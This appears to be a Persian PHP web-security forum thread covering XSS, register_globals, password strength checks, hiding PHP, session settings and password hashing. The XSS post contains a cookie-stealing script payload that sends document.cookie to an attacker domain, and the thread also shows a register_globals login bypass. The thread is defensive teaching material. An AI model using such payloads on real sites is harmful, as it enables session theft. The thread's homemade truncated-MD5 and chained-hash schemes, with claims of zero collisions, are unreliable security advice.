تویه این روش که بیشتر گویا برای دزدیدن اطلاعات کوکی هاست هکر ها میان کار جالبی میکنن!
در واقع با استفاده از جاوا اسکریپت ، که با هم ببینیم چه کار میکنن!
یه مثال ساده از اسکریپت xss رو در زیر میاریم که میاد ایتم خبری ای مه id اون رو دادیم واکشی میکنه!
PHP:
$id = $_GET['id'];

echo 'Displaying news item number '.$id;
حالا اگر
کد:
 $_GET['id']
حاوی مقادیر آلفانامریک باشه که چه خوب اما فرض کنیم
حاوی مقادیر زیر باشه:
کد:
<script>
window.location.href = "http://evildomain.com/cookie-stealer.php?c=' + document.cookie;
</script
اگر کاربر این کد جاوا اسکریپت ساده رو به متغییر
کد:
 $_GET['id']
اختصاص و کاربری رو مجاب به
کلیک روی اون بکنه اونوقت اسکریپت اجرا و اطلاعات مربوط به کوکی ها برای هکر ارسال میشه! به همین سادگی!
چه جوری جلوی این طور حمله ها رو بگیریم؟!
باز هم همون مسئله سرسری رد نشدن از مقادیر ورودی کاربر. همیشه وقتی ورودی ای از کاربر میگیریم باید اون رو یه حمله فرض کنیم:D این حرف این سایت خارجی هاست !!!
برای جلوگیری از این نوع حملات دو تا تابع خوب تو php هست!
یکی استفاده از strip_tags() تابع هست که با حذف تگ های html نمیزاره کد جاوا اسکریپتی اجرا شه!
که خوب تابع سخت گیری هست! یه راه هم استفاده از تابع htmlentities هست که
میاد یه HTML safe براتون برمیگردونه. مثلا میاد کاراکتری مثل < و > رو به &lt; و &gt; تبدیل میکنه!
در کل چیزی که هست با استفاده از یکی از این دو تابع و امن کردن ورودی ای که از کاربر میگیرید میتونید XSS attacks رو
خنثی کنید!
در کل هکر نیستم ولی هکر ها رو هم دوست ندارم
bad_boys_20.gif
این نوع هک یه مقدار برام نامفهوم بود ولی به هر حال همون روش مقابله مهم هست که گفتیم!
حداقل فهمیدیم که چنین روشی هست و چه جوری کار میکنه! چه تهدیدی داره و چه جوری میشه خطر این نوع حملات رو از بین برد!
47b20s0.gif

موفق باشید
 
آخرین ویرایش:

alireza82

Well-Known Member
Register Globals

سلام
خوب همتون تا حالا حتما هاست خریدید. و حتما هم برنامه هایی رو دیدید که برای کار
احتیاج به متغییر هایی دارن:D!!
خوب تا حالا هم حتما اسم Register Globals و تنظیم اون یعنی register_globals رو شنیدید.
امروز میخوایم در مورد تنظیم register_globals بحث کنیم و ثابت کنیم که بر خلاف تصور
این تنظیم به خودی خود یه خطر نیست بلکه نحوه به کار گیریش میتونه خطرناک باشه!!
اول یکم راجب این تنظیم توضیح بدیم. register_globals یک تنظیم php هست که میاد داده ها رو از ارایه های فوق عمومی
یعنی:
کد:
($_GET, $_POST, $_SERVER, $_COOKIE, $_REQUEST and $_FILE)
میگیره و اونها رو به عنوان متغییر های عمومی رجیستر میکنه. یعنی میاد متغییر
کد:
$_POST['message']
مثلا میگیره و اون رو به متغییر عمومی
کد:
$message
میده. که خوب همونطور که میبینید در بعضی جاها این تنظیم میتونه واقعا مفید باشه و بعضی کار ها رو ساده کنه.
که خیلی خوبه کی از ساده شدن کار ها بدش میاد!!
اما این تنظیم در نسخه های جدید php غیرفعال شده و هاستینگ ها هم فعالش نیمیکنن
و دلیل اون رو مسائل امنیتی میدونن!! کاملا هم حق دارن چرا !!
اینجاش جالبه شما فرض کنید من یه کد بزنم برا لوگین کاربر به صورت:
PHP:
if($_POST['username'] == 'rob' && $_POST['password'] == 'foo') {
    $authenticated = true;
}

if($authenticated) {
    // do some admin thing
}
اگر register_globals غیر فعال یا خاموش باشه این یه سیستم لوگین خوب و کاراست اما
فرض کنیم register_globals فعال یا روشن باشه
اتفاق جالبی که میفته اینه که اگر یه نفوذگر یا هکر یا هر چیزی که اسمش رو بزارید توی ادرس بار و بعد از نام اسکریپت تایپ کنه :
کد:
script.php?authenticated=true
اونوقت فکر کنم تا تهش رو خوندید!!
این کاربر به همین راحتی حق دسترسی گرفت. واقعا راحت تر از این نمیشد:D
همونطور که دیدید این تنظیم واقعا در صورت فعال بودن میتونه یه خطر بزرگ باشه! اما خود این تنظیم یه خطر بزرگ نیست
بلکه نوع کدنویسی ما خطرناکش میکنه!! و چون هاستینگ ها و حتی خود توسعه دهندگان
php نمیتونن مسئول کد نویسی دریت ما باشن این تنظیم رو غیر فعال کردن و به عنوان یه تهدید
امنیتی ازش نام میبرن که خوب حق هم دارن! اگر مسائلی رعایت نشه دقیقا این تنظیم میتونه فاجعه بار باشه!
مثلا اگر کد بالا به صورت:
PHP:
if($_POST['username'] == 'rob' && $_POST['password'] == 'foo') {
    // do some admin thing
}
بود هیچ خطر امنیتی ای وجود نداشت و هیچ اتفاق خاصی نمیافتاد مگر اینکه کلمه عبور و نام کاربری رو نفوذگر میدونست!!
ولی با این وجود چون واقعا بعضی موقع ها آدم حواسش نیست چه جوری داره کد میزنه:D بهتره این تنظیم همیشه غیر فعال باشه
تا از اینجور اتفاقات هم نیفته!
حالا فکر کنم دیگه با من هم عقیده هستید که این تنظیم به خودی خود یه تهدید امنیتی نیست اما نوع
کد نویسی ما اون رو یه تهدید امنیتی خطرناک میکنه.
موفق باشید:cool:
 
آخرین ویرایش:

hba

Active Member
این در صورتی اتفاق می افته و میشه متغییر رو بدون دسترسی در برنامه ایجاد کرد
که register_glabal روی سرور on باشه
 

alireza82

Well-Known Member
من نفهمیدم! جایی رو من اشباه نوشتم یا شما تاکید کردید!!!
چون منم همین و گفتم و گفتم اگر فعال یا روشن باشه و بد کد بزنید این اتفاق میافته !!!
حالا نمیدونم منظور شما چی بود!!
 

alireza82

Well-Known Member
امنیت کلمات عبور

سلام
حتما سایت هایی مثل گوگل رو دید که وقتی کلمه عبوری انتخاب میکنید میزان خوب بودن و امن بودن کلمه عبور رو بهتون گوشزد میکنن، یعنی میگن کلمه عبور خوبه ، کوتاه هست و یا ....
خوب نوشتن چنین چیزی زیاد سخت نیست اما مهم نوشتن یه کد خوب و عالی برای این کار هست.
داشتم سایت زند رو زیر و رو میکردم که یه مقاله جالب پیدات کردم در این مورد و میزارم اینجا حالشو ببرید که منم حالشو بردم:D
لینک:
http://devzone.zend.com/manual/ref.crack.html
این بالایی لینک مقاله هست.
یه توضیح مختصرم میگم و خوندنش با خوداتون:wink:
ما یه اکستنشن داریم به نام crack و به آدرس http://pecl.php.net/package/crack ، که وقتی نصب و ازش استفاده کردید میتونید میزان امن بودن کلمه عبور کاربر رو بررسی و از حملات مربوط به dictionary based attacks خودتون رو مصون نگهدارید(همون که md5 و میدادیم به یه سایت معادلش رو اگر داشت بر میگردوند مثلا)
نحوه کار هم به این صورت هست که کلمه عبور ورودی کاربر رو میگیرید و با متد crack_check() بررسی میکنید که کلمه عبور وضعیتش خوبه یا نه!!!
اگر خوب باشه TRUE و در غیر این صورت false برمیگردونه.
پیغام مناسب مربوطه رو هم خودش با متد crack_getlastmessage() برمیگردونه. این پیغام ها این ها هستن:
کد:
it's WAY too short 

it is too short 

it does not contain enough DIFFERENT characters 

it is all whitespace 

it is too simplistic/systematic 

it looks like a National Insurance number. 

it is based on a dictionary word 

it is based on a (reversed) dictionary word 

strong password
خوب فکر کنم به نظر شما هم جالب باشه. پس از این جا به بعد و یاد گیری کار و گرفتن کتابخونه اش با خودتون با استفاده از این لینک ها:
آموزش:
http://devzone.zend.com/manual/ref.crack.html
گرفتن کتابخونه:
http://pecl.php.net/package/crack
صفحه اصلی پروژه:
http://sourceforge.net/projects/cracklib
موفق باشید
 

alireza82

Well-Known Member
مخفی سازی php

سلام
یکی دیگه از کارایی که برای امن تر کردن وب سایت میشه انجام داد تکنیک مخفی کردن php هست. تو این روش ما سعی میکنیم تا یه نفوزگر یا ... نتونه بفهمه ما از زبان php برای نوشتن سایت استفاده کردیم.
3 جور میشه کار کرد:
اولی مخفی کردن php به عنوان زبانی دیگر:
کد:
# Make PHP code look like other code types
AddType application/x-httpd-php .asp .py .pl
همونطور که میبنید ما میتونیم کاری کنیم که از این به بعد فایل ali.php با نامی مثل ali.py نمایش داده شه که طرف فکر کنه اسکریپت مت با پایتون نوشته شده!!!!
[/code]
روش دوم استفاده از پسوند های ناشناخته برای اسکریپت های php هست:
کد:
# Make PHP code look like unknown types
AddType application/x-httpd-php .bop .foo .133t
تو اینجا مثلا فایل ali.php به صورت ali.bop نمایش داده میشه که خوب طرف باید بگرده ببینه .bop چی هست.
اما روش سوم اینه که با توجه به اینکه php بعد از تفسیر کد ، کد های html رو برای مرورگر کاربر میفرسته ما به جای پسوند php پسوند html یا htm رو نشون بدیم:
کد:
# Make all PHP code look like HTML
AddType application/x-httpd-php .htm .html
انجام این کار زیاد سخت نیست فقط کافیه یکی از این کد ها رو به فایل .htaccess اضافه کنید. این روش جلوی حمله یا هک شدن رو نمیگیره ولی خوب همین که طرف یه کم وقت باید بزاره بفهمه نوع کد نویسی با چه زبونی بوده خودش یه مزیت هست. انجام این کار هم 1 بیشتر وقت گرانبهاتون رو نمیگیره! پس حتما ازش استفاده کنید. توی سایت های زیادی انجام این کار توصیه شده.
موفق باشید.
 

amirds

New Member
امنیت Session

برای حفظ امنیت Session یک روش دیگه نیز وجود داره که من ازش استفاده کردم .
PHP:
ini_set('session.use_trans_sid', 0);
ini_set('session.use_cookies', 1);
ini_set('session.use_only_cookies', 1);
نیاز به توضیح زیادی نداره این تنظیمات را در فایل ایندکس قرار میدهید تا برای تولید سشن از کوکی استفاده کنه .

بعد یه کلاس برای کاربر تولیدکنید که بعد از لاگین مقدار Session id رو وارد دیتابیس کنه . البته می توانید زمان ورود و خروج و موارد دیگه مانند کد کاربر و ... را به همراهش در دیتابیس قرار دهید . این مقدار هایی که برای هر کاربر تولید کرده اید رو در هر درخواست کاربر چک کنید . در صورتی که با Session دیگه ای برخورد کنیدکه خودتان تولید نکرده باشید غیر معتبر شناخته میشه .

در هنگام خروج کاربر می توانید مقدار ثبت شده در دیتابیس رو حذف کنید .
 

my friend

Member
علیرضا جان،
بابت زحماتت ممنونم،
اما در راهنمایی های این پست به نظر من ممکنه مشکلی پیش بیاد!

همونطور که میدونیم ، MD5 الگوریتم هشی هست که با توجه به مقدار آرگومانی که میگیره ، یه رشته 32 کاراکتری رو برمیگردونه... دقت کنیم: یه رشته 32 کاراکتری ، نه بیشتر و نه کمتر!
پس ما میتونیم بگیم که بینهایت رشته میتونه وجود داشته باشه که پس از رد شدن از الگوریتم ام دی فایو ، مقدار یکسان ( مثلا: cfcd208495d565ef66e7dff9f98764da که برای عدد 0 هست) رو داشته باشه!
البته پیش بینی کردن که درصدش چقدره ، اما دقیقا یادم نیست مقدارش رو....

و اما نکته ای که میخواستم بگم:
تو روش اول شما عوض اینکه کل 128 بیت هش شده رو تو دیتابیس بریزید میاید مثلا 10 یا 15 کاراکتر اون حالا کمتر یا بیشتر برحسب سلیقه خودتون
من به جای اینکه 5f4dcc3b5aa765d61d8327deb882cf99 رو بریزم تو دیتابیس
میام از هرجا دویت دارم یه تعداد کاراکتر رو جدا و اون رو میریزم تو دیتابیس مثلا میام:
5d61d8327deb882cf9
رو از هش جدا میکنم و به عنوان کلمه عبور کاربر درنظر میگیرم و از این به بعد هم بعد از ورود کلمه عبور توسط کاربر با همین عبارت بررسی میکنم و اگر درست بود بهش اجازه ورود میدم!
شما با این کار ، احتمال تکرار رو بالا میبرید!!!
چون ممکنه برای دو حرف ، دو رشته متفاوت 32 کاراکتری مثل زیر تولید بشه:
uycp208s95d565fge6e7dff9s98764da
cyck208t95d565tgk6k7ppe9a4676udn
خب ، این دو مقدار متفاوت که تابع ()md5 برای دو رشته متفاوت ورودی برگردونده...
ما میگیریم کاراکترهای دوم ، سوم ، پنجم و .... رو میکشیم بیرون:
yc20895d565g67976d
yc20895d565g67976d
میبینید که دو مقدار همسان داریم!!!
حالا اگه اون مقداری که رنگش رو سبز کردم ، MD5 پسورد صحیح باشه و هکر یه برنامه نوشته باشه که کلمه تصادفی تولید کنه و روی فرم ما تست کنه(!)... چه اتفاقی می افته؟! درست حدس زدید! یه کلمه دیگه بجای MD5 اصلی رو سیستم ما میگیره و هکر خیلی راحت و با نوشتن چند خط برنامه و چند ساعت زمان ؛ وارد میشه!!!
===
من 2 تا پیشنهاد برای حل مشکلات تکراری بودن و یا استفاده از دیکشنری پیشنهاد میکنم:
1. از همون روش که خودتون هم گفتید ، استفاده کنیم: یه مقدار ، مثلا f9sd9f-yi09 رو با پسورد اصلی به md5 بدیم.... ولی اگه یه جای برنامه یا سرور امن نباشه و آسیب پذیر باشه ، هکر میتونه فایلی که اطلاعات فرم رو چک میکنه رو بدست بیاره و با بررسی اون ، بفهمه که ما چه مقداری رو به پسورد اصلی اضافه کردیم و با استفاده از یه برنامه که رشته های متفاوتی میسازه و اونو چک میکنه (فکر میکنم فایلی که به این پست آقا میلاد پیوست شده ، همین کار رو بکنه [تستش نکردم]) با صرف چند ساعت زمان اونو بدست بیاره...

2. این یکی روشی هست که من استفاده میکنم و تا حالا در موردش جایی نشنیدم و به این راحتی ها هم مو لا درزش نمیره(ولی باز هم 100% مطمئن نیست! ولی بهتر از روش هایی هست که تا حالا دیدم!):
تابع ()hash_algos کارش اینه که الگوریتم های هشی که PHP روی سرورتون پشتیبانی میکنه رو برمیگردونه...
خب ، فقط چند تا از اونها مثل md5 و sha1 تابع مشخصی برای استفاده دارن.......
اما ، بقیه رو چطور استفاده کنیم؟!
جواب ساده است! با استفاده از تابع ()hash میتونیم ازشون استفاده کنیم!
چطوری؟
یکی از الگوریتم های هش ، اسمش whirlpool هست که به ازای هر داده ورودی ، یک مقدار 128 کاراکتری رو برمیگردونه!!!
یکی دیگه از الگوریتم های هش ، snefru هست که به ازای هر داده ورودی ، یک مقدار 64 کاراکتری رو برمیگردونه!!!
و الگوریتم های دیگه...
اما حالا برای داشتن یک مقدار مطمئن چکار کنیم؟!
نمونه کد:
PHP:
function hasher($string){
	$hash  = hash('sha384',		'kw-8u2j8746&$%@)+sk/'.$string.'16seg)#%(nasf');
	$hash .= hash('sha512',		'ogw00`97gt644q*93jas'.$string.'14:JFH*#%,,.t');
	$hash .= hash('haval256,5',	'464f(^%q3`580F444)h)_'.$hash.'GFYT&QWrml%f%@');
	$hash .= hash('crc32b',		'19(@#]$)&[)^$~d143Y%)'.$hash.'^#%%&(*%^(##3^');
	$hash .= hash('crc32b',		'19(@#$){p&)^$$fd143Y%'.$hash.'hghfaf(T)4%53^');
	$hash .= hash('sha512',		'ogw00`97gt644q*93jas'.$string.'14:JFH*#%,,.t');
	$hash .= hash('crc32b',		'19(@#$G#dgh5$$fd143Y%'.$hash.'hghfaf(T)y#53^');
	$hash .= hash('crc32b',		'19(@#$){p&)^$$fd143Y%'.$hash.'hghfaf(T)4%53^');
	$hash .= hash('haval256,5',	'464f(^%q3580F444)h)_'.$string.'GFYT&QWrmlf%@');
	$hash .= hash('gost',		'$D)$+L:SAHF(|)ASF)#~)'.$hash.'46asf9&*(%#%%=');
	$hash .= hash('sha384',		'kq-8u2j8746~&$%@)+sk/'.$hash.'16s%eg)#%(nasf');
	$hash .= hash('crc32b',		'19(@#$){p&)^$^fd143Y%'.$hash.'hghfafatv4%53^');
	$hash .= hash('snefru',		'123(^$%@!@+!`~1f6&#)'.$string.'*%^QQ@$()&1gs');
	$hash .= hash('crc32b',		'19(@#]$)&[)^$~d143Y%)'.$hash.'^#%%&(*%^(##3^');
	$hash .= hash('crc32b',		'19(@#$){p&)^$$fd143Y%'.$hash.'hghfaf(T)4%53^');
	$hash .= hash('crc32b',		'19(@#$){p&)^$$fd(43Y%'.$hash.'hghfaf(jhg%53^');
	$hash .= hash('sha512',		'ogw00`97gt644q*93jas'.$string.'14:JFH*#%,,.t');
	$hash .= hash('whirlpool',	'1239()&^%"leg9+2464a)'.$hash.'45^6^f*(%12m)s');
	return $hash;
}
تابع hasher که نمونه ای ازش رو در بالا گذاشتم ، به ازای هر داده دریافتی ، یک مقدار 1024 کاراکتری برمیگردونه... مطمئنا استفاده از این روش به چند دلیل بسیار بهتر از برداشتن چند کاراکتر از تابع md5 هست:
1. احتمال تکرار مقدار بازگشتی در ازای دریافت دو مقدار متفاوت برابر 0 هست! (به نظر شما چند بار ممکنه در ازای دریافت دو مقدار متفاوت ، تمامی این الگوریتم ها مقدار یکسانی رو برگردونند؟!! درست حدس زدید! امکان نداره!)
2. اگه به هر دلیل الگوریتم این تابع لو بره ، کسی که بخواد اونو رمز گشایی کنه باید از چند ابر رایانه برای رمز گشایی استفاده کنه!
3. در صورت استفاده از ابر رایانه هم ، با اینکه سرعت انجام کار بالا میره ، اما باز هم رشته اصلی به این سادگی ها شکسته نمیشه و نیاز به چندین روز و شاید چندین هفته زمان بای بدست آوردن رشته اصلی هست!!!

اما آیا این همه امنیت لازم هست؟!
شاید در نگاه اول استفاده از این روشی که من گفتم با توجه به زمانی که طول میکشه تا یه مقدار رو هش کنه(تقریبا ناچیز ، اما در مقابل زمانی که md5 و sha1 برای هش کردن نیاز دارن ، بسیار بیشتر هست!) مزحک و خنده دار باشه ، اما...
1. شما میتونید چند خط از مقادیر داخل تابع hasher رو بردارید تا سرعت بالاتر و در نتیجه کاراکتر بازگشتی کمتر و کم حجم تری داشته باشید!
اما... باز هم ممکنه مزحک به نظر بیاد! اما...
2. اول باید بگم که ما فرض میگیریم در مثال زیر ، امنیت سخت افزاری 100% مطمئن هست و تنها راه به چالش کشیدن امنیت ، کار برنامه نویس هست!
فراتر از ساخت یک سایت معمولی نگاه کنید! درسته! فکرش رو بکنید که شما در حال ساخت وبسایتی برای ارتش کشور خودتون هستید و در این وبسایت محرمانه ترین اطلاعات ، از جمله [تعداد هواپیماهای نظامی ، تعداد موشک ها ، تعداد توپ ها و تانک ها ، تعداد سلاح های سبک و کشتار جمعی] نگهداری میشه! مسلما طراحی این وبسایت به افرادی داده میشه که همدیگر رو هیچ وقت نبینند و هر قسمت از سایت به یک نفر داده میشه تا بسازنش! چون با لو رفتن کدهای قسمتی از وبسایت توسط برنامه نویس به دشمن ، استفاده از بقیه سایت غیر ممکن هست و تمامی اطلاعات وبسایت لو نمیره! (شنیدید میگن طرف تمام تخم مرغ هاشو تو یه سبد نمیزاره؟!) خب... میبینیم که اینجور بحث ها ، سرعت باید فدای امنیت بشه! ممکنه زمان پردازش سایت بر روی یک ابر رایانه چند ثانیه طول بکشه و روی سرورهای معمولی که من و شما استفاده میکنیم ، چند ساعت و شاید روز! اما مسلما وقتی یک نامه محرمانه از طرف جاسوس ما در نیروهای دشمن ارسال بشه ، مثلا زمان و موقعیت جغرافیایی دقیق حضور یک فرد مهم در پایگاه ارتش دشمن به ما ارسال بشه ، ما فورا میفهمیم و در راس زمان ارسال شده اقدام به بمباران اون موقعیت جغرافیایی میکنیم... اما نیروی دشمن با فرض دونستن اینکه یک پیام محرمانه به ما ارسال شده و بر فرض که جاسوس اونها در نیروهای ما ، هش کلمه عبور جاسوس ما رو به دشمن بده ، با توجه به اینکه بدست آوردن کلمه عبور برای وارد شدن به بخش مثلا فرمانده ارتش ما ممکنه چندین ساعت زمان نیاز داشته باشه ، عملا ممکنه قبل از بدست آوردن کلمه عبور ، کار از کار بگذره و ...
پس نتیجه میگیریم که برای این کار هر چه الگوریتم هش رو بیشتر گسترش بدیم ، امنیت بالاتری خواهیم داشت... چون همونطور که گفتم ، در اینجور کارها سرعت باید فدای امنیت بشه!

در ضمن... چه اشکالی داره که یک سایت معمولی از امنیت بسیار بسیار بالایی برخوردار باشه؟!
=====
داشت یادم میرفت ، الگوریتم هایی که اسمشون رو بردم ممکنه روی همه سرورها کار نکنه... پس بهتره مثلا وقتی میخواهید یه سیستمی بنویسید که نمیدونید روی چه سروری امتحان میشه و بعدا امکان داره سرور عوض بشه و دیگه نشه روی سرور جدید از الگوریتم whirlpool استفاده کرد ، پس عملا استفاده از وبسایت غیر ممکن میشه و دیگه هیچ کاربری نمیتونه وارد سایت بشه!
اما در مواردی مثل مثال 2 که امکان دسترسی به سرور و افزودن الگوریتم های جدید هست ، استفاده از الگوریتم هایی که موجود هست و میدونید در آینده در این الگوریتم ها امکان وجود نداشتن ندارند ، استفاده از این روش بسیار عالی هست!
=====
خب دیگه ، خیلی حرف زدم!
خیلی کم اتفاق افتاده بود که 2 ساعت و خورده ای وقت برای ارسال یک پست در یک انجمن بزارم! و سر 4 خط نوشته افراد دیگه که به نظرم اشتباه بود ، 100 الی 200 خط تولید محتوای مفید(!) برای استفاده افراد دیگه بکنم!

همچنین تا حالا اتفاق نیوفتاده بود که اینچور ترفند ها رو به کسی بگم و به نظرم برنامه نویس باید خلاق باشه تا این ترفند ها به زهنش بیاد... بهر حال ، شاید این مطالب به درد کسی بخوره و نتیجه اش رو خودم هم ببینم!! (مثل همون استفاده در یک وبسایت مهم که امنیت نداشته باشه مثل این میمونه که کشور نداشته باشم!)

امیدوارم استفاده لازم رو ببرید!
با تشکر:)
 
آخرین ویرایش:

alireza82

Well-Known Member
علیرضا جان،
بابت زحماتت ممنونم،
اما در راهنمایی های این پست به نظر من ممکنه مشکلی پیش بیاد!

همونطور که میدونیم ، MD5 الگوریتم هشی هست که با توجه به مقدار آرگومانی که میگیره ، یه رشته 32 کاراکتری رو برمیگردونه... دقت کنیم: یه رشته 32 کاراکتری ، نه بیشتر و نه کمتر!
پس ما میتونیم بگیم که بینهایت رشته میتونه وجود داشته باشه که پس از رد شدن از الگوریتم ام دی فایو ، مقدار یکسان ( مثلا: cfcd208495d565ef66e7dff9f98764da که برای عدد 0 هست) رو داشته باشه!
البته پیش بینی کردن که درصدش چقدره ، اما دقیقا یادم نیست مقدارش رو....

و اما نکته ای که میخواستم بگم:

شما با این کار ، احتمال تکرار رو بالا میبرید!!!
چون ممکنه برای دو حرف ، دو رشته متفاوت 32 کاراکتری مثل زیر تولید بشه:
uycp208s95d565fge6e7dff9s98764da
cyck208t95d565tgk6k7ppe9a4676udn
خب ، این دو مقدار متفاوت که تابع ()md5 برای دو رشته متفاوت ورودی برگردونده...
ما میگیریم کاراکترهای دوم ، سوم ، پنجم و .... رو میکشیم بیرون:
yc20895d565g67976d
yc20895d565g67976d
میبینید که دو مقدار همسان داریم!!!
خواهش دوست من ! ما جمع شدیم که از هم استفاده کنیم!
بله حق با شماست طبق اصل لانه کبوتری هم که نگاه کنید حتما دو رشته داریم که هش یکسانی دارند. و مقدار احتمالش هم ضعیف بود! نه قوی! منظور اینه که بینهایتت خیلی باید خفن باشه!
در مورد اون دو تا رشته که برابر قرار دادی به نظرم یه مقدار گزینشی عمل کردی! من گفتم مثلا از کاراکتر 10 ام 15 تا رو بکشید بیرون!
ولی خوب بازم احتمال تکرار بالا میره! بحث سر این نبود که طرف یه برنامه ای بنویسه که حالات مختلف رو چک کنه! بحث من سر این بود که چه جوری مطمئن شید اگر دقت کنید اگر کسی مثلا md5 پسورد کاربر شما رو بدست اورد حالا به هر صورتی نتونه با اون md5 لوگین کنه! مثلا yc20895d565g67 این رشته رو هیچ دیکشنری ای برات بر نمیگردونه که چی بوده چون عملا یک رشته md5 نیست!
حالا اگه اون مقداری که رنگش رو سبز کردم ، MD5 پسورد صحیح باشه و هکر یه برنامه نوشته باشه که کلمه تصادفی تولید کنه و روی فرم ما تست کنه(!)... چه اتفاقی می افته؟! درست حدس زدید! یه کلمه دیگه بجای MD5 اصلی رو سیستم ما میگیره و هکر خیلی راحت و با نوشتن چند خط برنامه و چند ساعت زمان ؛ وارد میشه!!!
===
البته اینجا لوگ کردن و محدود کردن try برای لوگین هم مطرح میشه! قرار نیست یه نفر مثلا تو یه فاصله زمانی کوتاه n بار برای لوگین تلاش کنه!
در کل اینجا بحث سر یه بار و 2 بار تکرار نیست قبول کنید که حالات تکرار خیلی زیاد هست! حالا md5 رو بزاریم کنار! فرض یه کلمه عبور داشته باشیم 10 حرفی(فرض کردیم که md5 نیست) حالا فرض کنیم کلمه عبور هم حرف تکراری نداره ! فرض کنیم فقط ار 32 حرف الفبایی کوچک هم درست شده تعداد حالات این کلمه عبور ساده که تکراری هم نبوده میشه:
32*31*30*29*28*27*26*25=14136595200
امیدوارم قبول داشته باشید که md5 شرایط اش از این هم خفن تره! ! و خوش شانسی ای هم باید در کار باشه!
اما بازم میگم هدف این بود که با md5 dictionery ها نشه کلمه عبور رو بدست آورد که خوب اون کاری که گفتم جواب گو هست!
اما خوب همونطور که گفتی کافی نیست! ولی باید یه مقدار هم به اعداد و ارقام و احتمالات و ... هم توجه کرد!

من 2 تا پیشنهاد برای حل مشکلات تکراری بودن و یا استفاده از دیکشنری پیشنهاد میکنم:
1. از همون روش که خودتون هم گفتید ، استفاده کنیم: یه مقدار ، مثلا f9sd9f-yi09 رو با پسورد اصلی به md5 بدیم.... ولی اگه یه جای برنامه یا سرور امن نباشه و آسیب پذیر باشه ، هکر میتونه فایلی که اطلاعات فرم رو چک میکنه رو بدست بیاره و با بررسی اون ، بفهمه که ما چه مقداری رو به پسورد اصلی اضافه کردیم و با استفاده از یه برنامه که رشته های متفاوتی میسازه و اونو چک میکنه (فکر میکنم فایلی که به این پست آقا میلاد پیوست شده ، همین کار رو بکنه [تستش نکردم]) با صرف چند ساعت زمان اونو بدست بیاره...
آره همه این کار ها ممکنه حتی میتونید همه این رشته ها رو md5 اشون رو در بیاری و دیکشنری md5 خودت رو هم درست کنی! فقط امیدوارم به محدود بودن عمر آدمی هم توجه کنی:eek:
2. این یکی روشی هست که من استفاده میکنم و تا حالا در موردش جایی نشنیدم و به این راحتی ها هم مو لا درزش نمیره(ولی باز هم 100% مطمئن نیست! ولی بهتر از روش هایی هست که تا حالا دیدم!):
تابع ()hash_algos کارش اینه که الگوریتم های هشی که PHP روی سرورتون پشتیبانی میکنه رو برمیگردونه...
خب ، فقط چند تا از اونها مثل md5 و sha1 تابع مشخصی برای استفاده دارن.......
اما ، بقیه رو چطور استفاده کنیم؟!
جواب ساده است! با استفاده از تابع ()hash میتونیم ازشون استفاده کنیم!
چطوری؟
یکی از الگوریتم های هش ، اسمش whirlpool هست که به ازای هر داده ورودی ، یک مقدار 128 کاراکتری رو برمیگردونه!!!
یکی دیگه از الگوریتم های هش ، snefru هست که به ازای هر داده ورودی ، یک مقدار 64 کاراکتری رو برمیگردونه!!!
و الگوریتم های دیگه...
اما حالا برای داشتن یک مقدار مطمئن چکار کنیم؟!
نمونه کد:
PHP:
function hasher($string){
	$hash  = hash('sha384',		'kw-8u2j8746&$%@)+sk/'.$string.'16seg)#%(nasf');
	$hash .= hash('sha512',		'ogw00`97gt644q*93jas'.$string.'14:JFH*#%,,.t');
	$hash .= hash('haval256,5',	'464f(^%q3`580F444)h)_'.$hash.'GFYT&QWrml%f%@');
	$hash .= hash('crc32b',		'19(@#]$)&[)^$~d143Y%)'.$hash.'^#%%&(*%^(##3^');
	$hash .= hash('crc32b',		'19(@#$){p&)^$$fd143Y%'.$hash.'hghfaf(T)4%53^');
	$hash .= hash('sha512',		'ogw00`97gt644q*93jas'.$string.'14:JFH*#%,,.t');
	$hash .= hash('crc32b',		'19(@#$G#dgh5$$fd143Y%'.$hash.'hghfaf(T)y#53^');
	$hash .= hash('crc32b',		'19(@#$){p&)^$$fd143Y%'.$hash.'hghfaf(T)4%53^');
	$hash .= hash('haval256,5',	'464f(^%q3580F444)h)_'.$string.'GFYT&QWrmlf%@');
	$hash .= hash('gost',		'$D)$+L:SAHF(|)ASF)#~)'.$hash.'46asf9&*(%#%%=');
	$hash .= hash('sha384',		'kq-8u2j8746~&$%@)+sk/'.$hash.'16s%eg)#%(nasf');
	$hash .= hash('crc32b',		'19(@#$){p&)^$^fd143Y%'.$hash.'hghfafatv4%53^');
	$hash .= hash('snefru',		'123(^$%@!@+!`~1f6&#)'.$string.'*%^QQ@$()&1gs');
	$hash .= hash('crc32b',		'19(@#]$)&[)^$~d143Y%)'.$hash.'^#%%&(*%^(##3^');
	$hash .= hash('crc32b',		'19(@#$){p&)^$$fd143Y%'.$hash.'hghfaf(T)4%53^');
	$hash .= hash('crc32b',		'19(@#$){p&)^$$fd(43Y%'.$hash.'hghfaf(jhg%53^');
	$hash .= hash('sha512',		'ogw00`97gt644q*93jas'.$string.'14:JFH*#%,,.t');
	$hash .= hash('whirlpool',	'1239()&^%"leg9+2464a)'.$hash.'45^6^f*(%12m)s');
	return $hash;
}
تابع hasher که نمونه ای ازش رو در بالا گذاشتم ، به ازای هر داده دریافتی ، یک مقدار 1024 کاراکتری برمیگردونه... مطمئنا استفاده از این روش به چند دلیل بسیار بهتر از برداشتن چند کاراکتر از تابع md5 هست:
1. احتمال تکرار مقدار بازگشتی در ازای دریافت دو مقدار متفاوت برابر 0 هست! (به نظر شما چند بار ممکنه در ازای دریافت دو مقدار متفاوت ، تمامی این الگوریتم ها مقدار یکسانی رو برگردونند؟!! درست حدس زدید! امکان نداره!)
2. اگه به هر دلیل الگوریتم این تابع لو بره ، کسی که بخواد اونو رمز گشایی کنه باید از چند ابر رایانه برای رمز گشایی استفاده کنه!
3. در صورت استفاده از ابر رایانه هم ، با اینکه سرعت انجام کار بالا میره ، اما باز هم رشته اصلی به این سادگی ها شکسته نمیشه و نیاز به چندین روز و شاید چندین هفته زمان بای بدست آوردن رشته اصلی هست!!!
عالی بود استفاده کردیم ولی به نظرت یه مقدار سربار داده ی این تابع بالا نیست! 1024 کاراکتر یا همون 1024 بایت که میشه 1kb که اگر 1000 تا کاربر داشته باشی میشه 1MB ؟
اما آیا این همه امنیت لازم هست؟!
شاید در نگاه اول استفاده از این روشی که من گفتم با توجه به زمانی که طول میکشه تا یه مقدار رو هش کنه(تقریبا ناچیز ، اما در مقابل زمانی که md5 و sha1 برای هش کردن نیاز دارن ، بسیار بیشتر هست!) مزحک و خنده دار باشه ، اما...
